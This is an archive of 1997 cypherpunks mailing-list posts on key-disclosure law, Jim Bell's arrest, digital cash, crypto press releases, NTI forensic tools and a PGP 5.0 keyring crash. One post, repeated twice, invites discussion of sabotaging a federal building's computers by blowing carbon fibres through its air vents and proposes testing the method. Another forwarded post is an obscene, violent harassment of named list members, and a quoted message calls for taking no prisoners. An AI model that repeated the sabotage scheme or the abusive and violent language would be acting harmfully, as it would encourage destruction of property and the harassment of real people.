> > Date: Thu, 15 Jul 1993 23:04:39 -0400
> > From: Allan Thompson 
> > Subject: encryption laws
>
> > Would it be possible for a court to subpeona a encrypted file or key,
> >
> > and order you to tell them the key ?
> > If you didn't would you be held in 'contempt of court' ?
>
> If they had reasonable cause to believe you had knowledge of the key and
> were refusing to divulge it under direct order of the court you would be
> held in contempt until you were very old and gray.

Yes - the 5th Amendment is useless like all the other consitutional "rights".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From stewarts at ix.netcom.com  Wed May 21 01:19:36 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 21 May 1997 16:19:36 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>


At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
>On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
	[rant deleted - bill]
>Speaking of power corrupting, notice how the power to speak 
>anonymously has destroyed this poor souls brain.

Attila's not anonymous - he's a regular poster, and has been
for long enough to build up some reputation around his penname.

> "Power corrupts..." isn't a property of governments, 
> it is a property of individual human beings.

Mostly.  But you're presumably advocating government by humans.
And while government is an abstraction of the activities of a 
lot of individual humans, governments do tend to accumulate
and abuse power, and tend to reach a point where they're more
interested in maintaining and increasing that power than in
any legitimate activities like protecting life, liberty, and property.
Consider the drug war, the military-industrial complex,
the fraction of your income that's paying for government,
and compare that with 200 years ago...

Also power _attracts_ the corrupt, and the corruptible.
As Henry the K said, it's the ultimate aphrodisiac.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tm at dev.null  Wed May 21 03:58:04 1997
From: tm at dev.null (TruthMonger)
Date: Wed, 21 May 1997 18:58:04 +0800
Subject: The Bell Plan
Message-ID: <199705211026.EAA02919@wombat.sk.sympatico.ca>


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the
cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I
cannot
in good conscence allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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From mixmaster at remail.obscura.com  Wed May 21 04:04:33 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Wed, 21 May 1997 19:04:33 +0800
Subject: No Subject
Message-ID: <199705210959.CAA20206@sirius.infonex.com>


On Wed, 14 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.

> Tim May's mother attempted to pro-choice the unwanted 
> Graham-John Bullers by fishing with a coat hanger in her giant 
> cunt, but failed miserably to pull the rabbit and 
> succeeded only in scraping out the contents of little 
> Timmy's fetal cranium (not much to begin with).
> 
>        (_) _____ (_)
>           /O   O\   Graham-John Bullers
>          !   I   !
>          ! \___/ !
>           \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From dlv at bwalk.dm.com  Wed May 21 04:04:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 19:04:35 +0800
Subject: Wine Politics Again!
In-Reply-To: <19970520231301.63529@bywater.songbird.com>
Message-ID: 


Kent Crispin  writes:

> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> [...]
> >    as for the great fairweather liberal bigot Blanc's passing it off
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
> >    "innocents" get wasted --but, a society at war has no innocents.
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
> >    more effective. if there are no prisoners, there are no
> >    complainers.
>
> Speaking of power corrupting, notice how the power to speak
> anonymously has destroyed this poor souls brain.

Fuck you, Kent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From mixmaster at remail.obscura.com  Wed May 21 04:12:53 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Wed, 21 May 1997 19:12:53 +0800
Subject: The Bell Plan
Message-ID: <199705211012.DAA23701@sirius.infonex.com>


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I cannot
in good conscious allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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rIrd7VQ=
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From frissell at panix.com  Wed May 21 05:00:36 1997
From: frissell at panix.com (frissell at panix.com)
Date: Wed, 21 May 1997 20:00:36 +0800
Subject: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <3.0.2.32.19970521074535.03920b14@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.
>
>
>                                                 Jim Choate
>                                                 CyberTects
>                                                 ravage at ssz.com


Two years max.  A lot less time if you followed my strategy of spamming the 
court with daily (hourly?) screeds in which you assert in your finest Usenet 
flame language the fact that you will never follow the judge's order.

DCF
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From winsock at rigel.cyberpass.net  Wed May 21 05:36:22 1997
From: winsock at rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 21 May 1997 20:36:22 +0800
Subject: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <199705211215.FAA05351@sirius.infonex.com>



On Tue, May 20, 1997 at 08:51:36PM -0500, Igor Chudov @ home wrote:
> Hi there,
> 
> I do not know Jim Bell personally and am not sure how rich he is,
> but suspect that he might be in need of some funds in order to be
> properly represented by good attorneys.
> 
> How about setting up his legal defense fund?
> 
> igor

I have a few e$...







From 53807121 at earthlink.net  Wed May 21 20:54:32 1997
From: 53807121 at earthlink.net (53807121 at earthlink.net)
Date: Wed, 21 May 1997 20:54:32 -0700 (PDT)
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <>




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From rah at shipwright.com  Wed May 21 06:15:26 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 21 May 1997 21:15:26 +0800
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem forNext Generation Wireless Electronic Transactions
Message-ID: 



--- begin forwarded text


From: Jack Oswald 
To: "'joswald at rpkusa.com'" ,
        "'maujacca at iprolink.ch'"
	 
Subject: Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Date: Tue, 20 May 1997 18:41:20 -0700
MIME-Version: 1.0

Also see recent press coverage in Infoworld:

RPK announces deal for fast crypto with Swiss consortium
http://www.infoworld.com/cgi-bin/displayStory.pl?97059.wrpk.htm

SET 2.0 on the way
http://www.infoworld.com/cgi-bin/displayArchive.pl?/97/16/t04-16.1.htm

PRESS RELEASE

For Release May 19, 1997

RPK, Inc.: 	Jack Oswald, +1 408.479.7874, joswald at rpkusa.com,
http://www.rpk.co.nz
ADESA, Inc.: 	Maurice Jaccard,+41 22.910.29.14, maujacca at iprolink.ch


Swiss Consortium Chooses RPK Fast Public Key Cryptosystem for Next
Generation Wireless Electronic Transactions
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc. introduce HAWK
VLSI cryptography-enhanced processor

San Francisco, CA - RPK, Inc. announced today that a consortium of the
Swiss Federal Institute of Technology (EPFL) and ADESA, Inc., a Swiss
application specific integrated circuit (ASIC) design firm have chosen the
RPK Fast Public Key Cryptosystem to provide strong cryptographic security
in a next generation wireless electronic transactions application.  At the
same time, EPFL and ADESA unveiled HAWK a new generation
cryptography-enhanced microprocessor specifically designed for use in high
speed/low power embedded applications.

"The RPK encryption technology won the design review after an extensive
evaluation of all existing cryptosystems based on well known and understood
cryptographic techniques," said Maurice Jaccard, Managing Director of
ADESA, Inc. "With RPK there are no compromises. We get uncompromised
security, high speed and low cost of implementation."

"RPK is a strong encryption technology based on well know and trusted
cryptographic techniques," said Jack Oswald, President and CEO of RPK Inc.
"Having RPK chosen by the Swiss for this breakthrough electronic-commerce
application is the strongest endorsement we could possibly achieve for the
RPK technology."


Wireless Electronic Transactions Application

The collaboration of RPK, EPFL and ADESA has resulted in a prototype
application that promises to become the "wallet of the future".  This new
wireless electronic transaction application may take the form of a credit
card, a watch or a key chain and will sport features analogous to the
leather wallets used today by billions of people worldwide.  Early designs
of the system allow the user to withdraw and hold cash in multiple
currencies, as well as, purchase and hold vouchers for hotels, planes and
car rentals all through the use of wireless communications technology.
Officials in charge of the project envision that such devices could also
become a personal key chain for gaining access to motor vehicles, offices
and dwellings, in addition to traditional credit card uses.

ADESA concluded that performance of the RPK implementation in the prototype
far exceeded existing smart card implementations based on the RSA and other
algorithms.  The RPK technology performs the necessary encryption functions
in less than 10 milliseconds using an 823-bit key compared to the best
performing RSA-based equivalents that require greater than 100 milliseconds
to perform the same type of function using a much weaker 512-bit key.  The
application is not limited to 823-bit keys.  The design of the system,
based on the new HAWK processor is flexible and can accommodate and process
various sized keys, smaller or larger than 823 bits based on downloadable
parameters.  ADESA officials explained that the simplicity of the RPK
algorithm makes it much simpler to implement than the popular RSA approach.
It was RPK's simplicity, offering a much faster and cheaper solution while
providing even higher security, that drove the choice over RSA for this
application.


About the RPK Fast Public Key Cryptosystem

RPK is a relatively new public key cryptosystem  that is based on
mathematics widely used in cryptography today.  It was designed to be
immediately commercially viable without the years of study that a new area
of mathematics normally requires, such as the Elliptic Curve Cryptosystem
(ECC).  The source of the security for RPK is the same as that of
Diffie-Hellman key exchange, a widely used and well studied cryptographic
technique. RPK offers real advantages for high speed networking, SmartCard,
wireless communication applications as well as high volume software
processes such as credit card transactions.

RPK has at its core an invention called a Mixture Generator.  In the
preferred implementation, three fairly long linear feedback shift registers
are used.  This state machine has two modes of operation.  One that uses
the shift registers for exponentiation and the other as a generator of a
random stream of bits used in a combining phase for the actual encryption.
Effectively, RPK allows for the amortization of two "costly"
exponentiations over the entire length of a message because the core engine
is used to initially establish a secure state of the machine and then
switches modes to perform very high speed encryption.  This has been
referred to as a paradigm shift where the operation of encryption does not
require the costly calculations that an RSA or even an ECC implementation
would require for each block of data that is about the size of the key.
This mechanism can also be implemented in silicon quite efficiently such
that at high strength it is much cheaper to produce than alternative
technologies.  Finally, it is also possible to create a Mixture Generator
that is made up of Elliptic Curve groups which would provide a similarly
speedy and efficient initialization mode that could still produce high
speed encryption as noted above.


About the HAWK VLSI Crypto Processor

The HAWK VLSI cryptography-enhanced processor is the result of more than
three years of research and development conducted at the EPFL in Lausanne,
Switzerland in the area of high speed compression and encryption.  The HAWK
processor will benefit most cryptography implementations but is
particularly well suited for use with RPK.

"The HAWK processor is the most innovative approach that we have seen yet
for implementing cryptographic processes in silicon," said Bill Raike,
Chief Technology Officer for RPK Inc. and inventor of the RPK fast public
key cryptosystem.  "HAWK breaks the barrier for high speed, low cost, low
power and high strength encryption for embedded systems."



Background

RPK, Inc. is a supplier of next generation fast public key encryption
technology.  RPK was invented and originally patented in New Zealand.  The
company is therefore unaffected by restrictive U.S. export rules.  RPK has
been successfully exported to virtually all countries of the world at high
strength.  The company's headquarters are based in San Francisco,
California, USA, with an offshore research and development center located
outside of Auckland, New Zealand. http://www.rpk.co.nz

ADESA, Inc. is a leading ASIC design firm based in Geneva, Switzerland with
expertise in embedded and cryptographic applications.

EPFL is a leading teaching and research technical institute in Lausanne,
Switzerland.  The school is known for its work in advanced processor design.


***

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jya at pipeline.com  Wed May 21 06:41:02 1997
From: jya at pipeline.com (John Young)
Date: Wed, 21 May 1997 21:41:02 +0800
Subject: New FinCEN Rules
Message-ID: <1.5.4.32.19970521131521.0089c1dc@pop.pipeline.com>


FinCEN has published today in the Federal Register
three inter-related proposals for new rules for the Bank 
Secrecy Act Regulations:

1. Changes in the scope and type of transactions to
be regulated, including, say, micro payments and
and electronic transactions such as stored value cards.

2. Changes in the reporting requirements for suspicious 
transactions and the types of institutions to be regulated, 
including "money services establishments."

3. Changes in requirements for reporting currency 
transactions, and setting a new floor at $750 (as reported 
recently in the news).

   http://jya.com/fc052197.htm  (79K)

   http://jya.com/fc052197-2.htm  (69K)

   http://jya.com/fc052197-3.htm  (63K)






From randerso at ece.eng.wayne.edu  Wed May 21 07:03:42 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Wed, 21 May 1997 22:03:42 +0800
Subject: encryption laws
In-Reply-To: <2.2.32.19930716030439.0067dc10@earthlink.net>
Message-ID: 


On Thu, 15 Jul 1993, Allan Thompson wrote:

>         Would it be possible for a court to subpeona a encrypted file or key,
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

Well, it's probable that you could use the 5th amendment to prevent it,
but yes, I suspect you could have problems with that defense.

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From jeffb at issl.atl.hp.com  Wed May 21 07:35:39 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Wed, 21 May 1997 22:35:39 +0800
Subject: SIC SEMPER TYRANNIS
In-Reply-To: 
Message-ID: <199705211439.KAA10399@jafar.issl.atl.hp.com>


Martin Minow writes:
> 
> Tim May wrote:
> >
> >Also, my tag line, "Death to tyrants!" is straight out of the Founders'
> >mouths.
> >
> Umm, I may be mistaken, but I believe that "Sic Semper Tyrannis" translates as
> "thus always to tyrants" and was spoken by John Wilkes Booth when he
> assasinated
> President Lincoln.

FYI, from http://www.scvol.com/States/virginia.htm

    [picture of Virginia flag]

    A deep blue field contains the seal of Virginia with the Latin
    motto "Sic Semper Tyrannis" - "Thus Ever to Tyrants". Adopted in
    1776. The two figures are acting out the meaning of the motto.
    Both are dressed as warriors. The woman, Virtue, represents Virginia.
    The man holding a scorge [sic] and chain shows that he is a tyrant.
    His fallen crown is nearby. 


Not conclusive, but it seems likely this slogan was well known to the
"Founders".


-- Jeff






From jya at pipeline.com  Wed May 21 07:55:37 1997
From: jya at pipeline.com (John Young)
Date: Wed, 21 May 1997 22:55:37 +0800
Subject: Oregon Intel (Inside GAK)
Message-ID: <1.5.4.32.19970521143054.008fa698@pop.pipeline.com>


5-21-97, PR Newswire:

New Cryptanalysis Course Announced by NTI One Day
Course for Corporate, Military and Law Enforcement Computer
Specialists 

Covers Issues in Cryptography and Cryptanalysis

Gresham, Ore., May 20 -- NTI today announced a one day class which 
gives corporate, military and law enforcement MIS personnel a
state-of-the-art grounding on the topics of computer
cryptography and cryptanalysis. With materials developed by
Eric Thompson, one of the world leading experts in this field,
attendees will receive instruction in the technological and
procedural elements of cryptanalysis. Unlike other sources of
information on the topic, this presentation covers the analysis
of existing commercial applications and their weaknesses. 

This course joins NTI's other courses in forensic computer
science. The forensic courses covers state-of-the-art
information regarding computer evidence processing,
evidence preservation and the identification of relevant data. 

"This class in cryptography grew out of requests for more
information on encryption from our forensics course
attendees. The course is highly focused and is presented with
state-of-the-art materials," stated Michael R. Anderson, the
President and co-founder of NTI, "and it covers material that
has historically not been presented from a practical
perspective. Computer and data security are rapidly becoming
a top priority as organizations become increasingly aware of
their vulnerability to information attack and encryption is a
vital part of reducing that vulnerability." 

Topics covered in the NTI cryptography course include: 

  Cryptographic terms and lexicon 

  Basics of crypto system design 

  Isolating cryptographic weakness in commercial systems 

  Cryptography in electronic commerce 

  Cryptography in Internet security applications 

  International issues in cryptography and secure applications 

  The Future of Cryptography and Cryptanalysis 

"Eric Thompson, our senior cryptographer, developed the
materials used in the presentation of this unique course,"
continued Anderson. "Eric is a world class cryptographer,
highly respected in both commercial and government
cryptography circles. In this class he brings to the topic at
hand real world, practical experience that has helped a
majority of government agencies deal with encryption issues."

Courses are regularly scheduled for presentation at the NTI
headquarters in Gresham, Oregon, and at conference facilities
throughout the United States; custom courses can also be
scheduled for presentation at corporate or government sites.
Attendance is $995 per person and includes all course
materials, luncheon and a certificate of completion. 

NTI (New Technologies, Inc.) is a world leading developer
of software utilities, procedures and training for computer
forensics and enterprise system security. Founded in 1996 by
a group of internationally recognized experts on computer
forensics and security issues, the company is privately held
with headquarters in Gresham, Oregon and field offices in
Eugene, Oregon; Provo, Utah, and Atlanta, Georgia. 

Visit NTI's Internet web site at http://www.secure-data.com. 

SOURCE New Technologies Inc. 

/CONTACT: Annette Johnson of NTI, 503-661-6912, or fax,
503-674-9145, or E-mail: info at secure-data.com/ 

----------

>From the NTI Web site, http://www.secure-data.com

New Technologies, Inc. 
2075 Northeast Division 
Gresham, Oregon 97030 USA
503-661-6912 or (fax) 503-674-9145

Forensic and Encryption Training

3 Day Oregon Training Schedule: May 20-22, June 24-26, 
July 22-24, Aug 19-21, Sept 16-18, Oct 21-23

Law enforcement and military agencies have been involved 
in processing computer evidence for years. The founders of NTI 
were instrumental in the creation of the training courses in the 
field of Forensic Computer Science that have become the 
international standard for evidence processing world wide. 

They developed the first computer evidence courses at the Federal 
Law Enforcement Training Center and created the original training 
courses and certification for the International Association of 
Computer Investigative Specialists. These founders have also been
instrumental in developing password recovery software which deals 
with the breaking of security associated with a majority of the 
commercial word processing, spread sheet and database software 
applications. 

In addition, a majority of the computer evidence processing tools 
used by law enforcement and military agencies were developed by the 
founders or employees of NTI.

With the creation of NTI, corporations and government agencies 
now have access to forensic information and tools which can be 
used in the identification of computer security risks and in
internal investigations. NTI will also continue to support law 
enforcement and military agencies by making state-of-the art 
training and automated forensic tools available at discounted rates. 

For security reasons, our training courses and forensic software 
tools are only made available to law enforcement agencies, 
government agencies, large corporations and consultants who
work with large corporations and/or government agencies.

***

Applied Cryptography & Cryptanalysis

NTI has three full time cryptographers employed in its Utah offices. 
Our file encryption software is developed in that facility and Eric 
Thompson is our senior cryptographer. Eric's credentials are
mentioned elsewhere in our web site. However, it is safe to say that 
he is one of the top cryptographers in the world and has broken the 
security associated with most commercial applications that feature 
encryption or password protection. We rely upon Eric and his team to
teach these courses at the sites of sponsoring government agencies 
and corporations.

-----






From jya at pipeline.com  Wed May 21 08:21:26 1997
From: jya at pipeline.com (John Young)
Date: Wed, 21 May 1997 23:21:26 +0800
Subject: Mil-LE Forensic Tools
Message-ID: <1.5.4.32.19970521145404.009012a4@pop.pipeline.com>


>From the NTI Web site, http://www.secure-data.com

Free downloads:

Forensic Tools

The FILTER Forensic Tool:

This program is used to remove binary (non alpha-numeric) characters 
from computer data. This program has been used internationally by 
military and law enforcement agencies for years and was donated to the 
law enforcement community by one of our founders back in 1991. Once a 
file has been processed with this program the content can be printed 
and viewed with more traditional types of programs, e.g. word processors. 
This program should not be confused with NTI's intelligent filter 
program. ...

The NTIDOC Forensic Tool:

This program is used to essentially take an electronic snap shot of 
files and subdirectories that have previously been identified to have 
some evidentiary value. It is a documentation tool. The program 
automatically creates documentation that can easily be printed, viewed 
or merged into forensic reports. The original program entitled DOC has 
been used for years by military and law enforcement computer specialists 
and has previously been donated for that use by the founders of NTI. ...

The SPACES Security Review Tool:

This program is very simple. It creates one or more files that contain 
nothing but spaces. To be exact, every file created by this program 
will contain 10,000 spaces. Such output is ideal in the evaluation of 
encryption patterns to determine security weakness. Our forensic 
training courses and cryptography courses cover this concept in detail. 

MICRO-ID Computer Theft Prevention Software:

This software is used to mark computer hard disk drives with computer 
ownership information. Once a computer has been marked it can be 
identified by police should it be recovered as stolen property. The 
program that reads the ownership information is called COP-ONLY and as 
the name implies the program is only distributed to local, county and 
state law enforcement agencies. ...

----------






From rah at shipwright.com  Wed May 21 08:27:24 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 21 May 1997 23:27:24 +0800
Subject: digital cc transactions, digital checks vs real digital   cash
In-Reply-To: 
Message-ID: 


At 4:55 pm -0400 on 5/12/97, Bill Stewart wrote:


> Book-entry banks need some kind of fairly reliable
> dispute resolution mechanism, but it doesn't need to be a force monopoly.
> If you happen to have a nation-state just lying around to be used,
> banks will be happy to use them, because they're more convenient for
> wide-area business than Mafia enforcers, probably cheaper, and can be
> more dependable and predictable, though your mileage may vary.

A force monopoly by any other is a nation state or is busy becoming one, to
mangle a few literary allusions.

> If you have relatively dependable identities, you can run a reputation
> system without relying on governmental or private violence providers;
> it's probably less expensive, but also less effective in most communities,
> so the risk of losing money may make it less attractive than governments.

Certainly the New York diamond market works this way. As do the NYSE, NASD,
Lloyds, etc. Eric Hughes called them "clubs". Reputation clubs, if you
will. The problem comes when your business is so large and centralized
(because of the hierarchical nature of networks where you have very
expensive human information "switches") that you can't know who you're
dealing with. Then it's easier to beat up on people who make the wrong
book-entries. By the way, most of these reputation clubs function best
where you have peer-to-peer trading contact. Geodesic markets, in other
words. Which, of course, is why geodesic markets with strong persistant
cryptographic repuations will probably go to things like reputation clubs,
or at least with on-line reputation registries operating much like Standard
and Poor's or Moody's or Dun and Bradstreet work today.

> If people know that nobody will take their checks if they bounce them
> and don't make good, and know they won't get any credit, and know that
> the merchants are all on the Grapevine, they'll generally be honest*.
> If identities are fluid, and you're willing to keep creating and burning
>them,
> you can sometimes get away with reneging on obligations,
> but people are less likely to trust you if they don't know you -
> so they'll want to see certified e-checks from well-known banks.

That's true. However, and of course no one has proven this yet, I think
that all the offsetting book-entries cost much more than a
spent-certificate registry.

> I tend to view book-entry systems as an effect of an
> economy that uses credit to fund business ventures;
> you can call the book entries "bonds" or "stocks", but
> book-entry is the obvious way to keep track of either one.

Not at all. Before mainframe computing, and certainly before telegraphy,
all debt was held in unregistered, bearer certificate form. The bookeeping
load for modern registered shareholder book-entry settlement was impossible
to maintain. I claim that, now that we have bearer certificates in digital
form, the cost advantage of electronic digital bearer settlement over
electronic book-entry settlement will eventually kill the later off
economically.

> Sure, you could do things like split all revenues on receipt,
> but book-entry is probably still easier.

I'm not sure I understand this sentence.

> [*Honest people will generally be honest anyway, which is most people
> in most cultures, but that doesn't mean they'll be good enough at
> planning to pay off their loans on time, especially if they're using
> the money for risky activities such as farming or software development...
> On the other hand, violence providers aren't always good at extracting
> payments from people who really don't have the money any more.]

People are honest primarily because it's too much physical effort to be
otherwise. Consistantly lying takes up too much memory, for instance. :-).

The nice thing about digital bearer settlement, is that it allows you to be
honest without telling potentially hostile people everything you do.

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tm at dev.null  Wed May 21 08:30:36 1997
From: tm at dev.null (TruthMonger)
Date: Wed, 21 May 1997 23:30:36 +0800
Subject: Rogue Key Warning
Message-ID: <199705211502.JAA13497@wombat.sk.sympatico.ca>


TruthMonger wrote:

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  The PGP public key included with the file for identification
purposes has a verifying signature that can corrupt your PGP 5.0
keyring file if you use the "Get Selected Key" option to get
that particular verifying key and add it to your keyring. It 
crashes the program.
  The offending key shows up as "Unavailable, 0xFC3568CD" in
the PGP 5.0 list of verifying signatures for the key.

  The key included in the file causes no problems with the program
when added to the keyring as long as you don't use the program to
retreive the offending verification key and add it to your keyring.

> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM4KR+6ozBjzmqceZAQHeRQQAiI6CSKzPgioO5UdacoNbtKPyTvhHOuNB
> /kkCx1UuYiVOaIw48oVX7Gj1bIcMMkAiM+q6q+SOZkEq+hNUdriISpY5/aKA39Yp
> ejNKl2McRK7WrP+TQPNx9hwxFrW93JrqjhSPhZsgkVNtIHG/wE1RpdWJzPiIOeP2
> /Q9TTHmRoRU=
> =x+P/
> -----END PGP SIGNATURE-----
> 
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 5.0 beta
> 
> mQCNAzMs140AAAEEAL1CAoB5pd97hIOoT6L0v05Ov8nw0unf0db6NXZ91EJAyq9p
> DoPGJl7Z6m5McIsNI2DrCEEt7KYdt0ZIGcqqK2gmCePYI0oQOFj+jznI3jKXg1k2
> R+ngk+cUn21EfrNXFGPk1Tuc1/3Qib6cX6BZRJvvz1FNYNt/zqozBjzmqceZAAUR
> tBtUb3RvIDx0b3RvQHNrLnN5bXBhdGljby5jYT6JAJUCBRAzPR6jIokaQ0EgfuUB
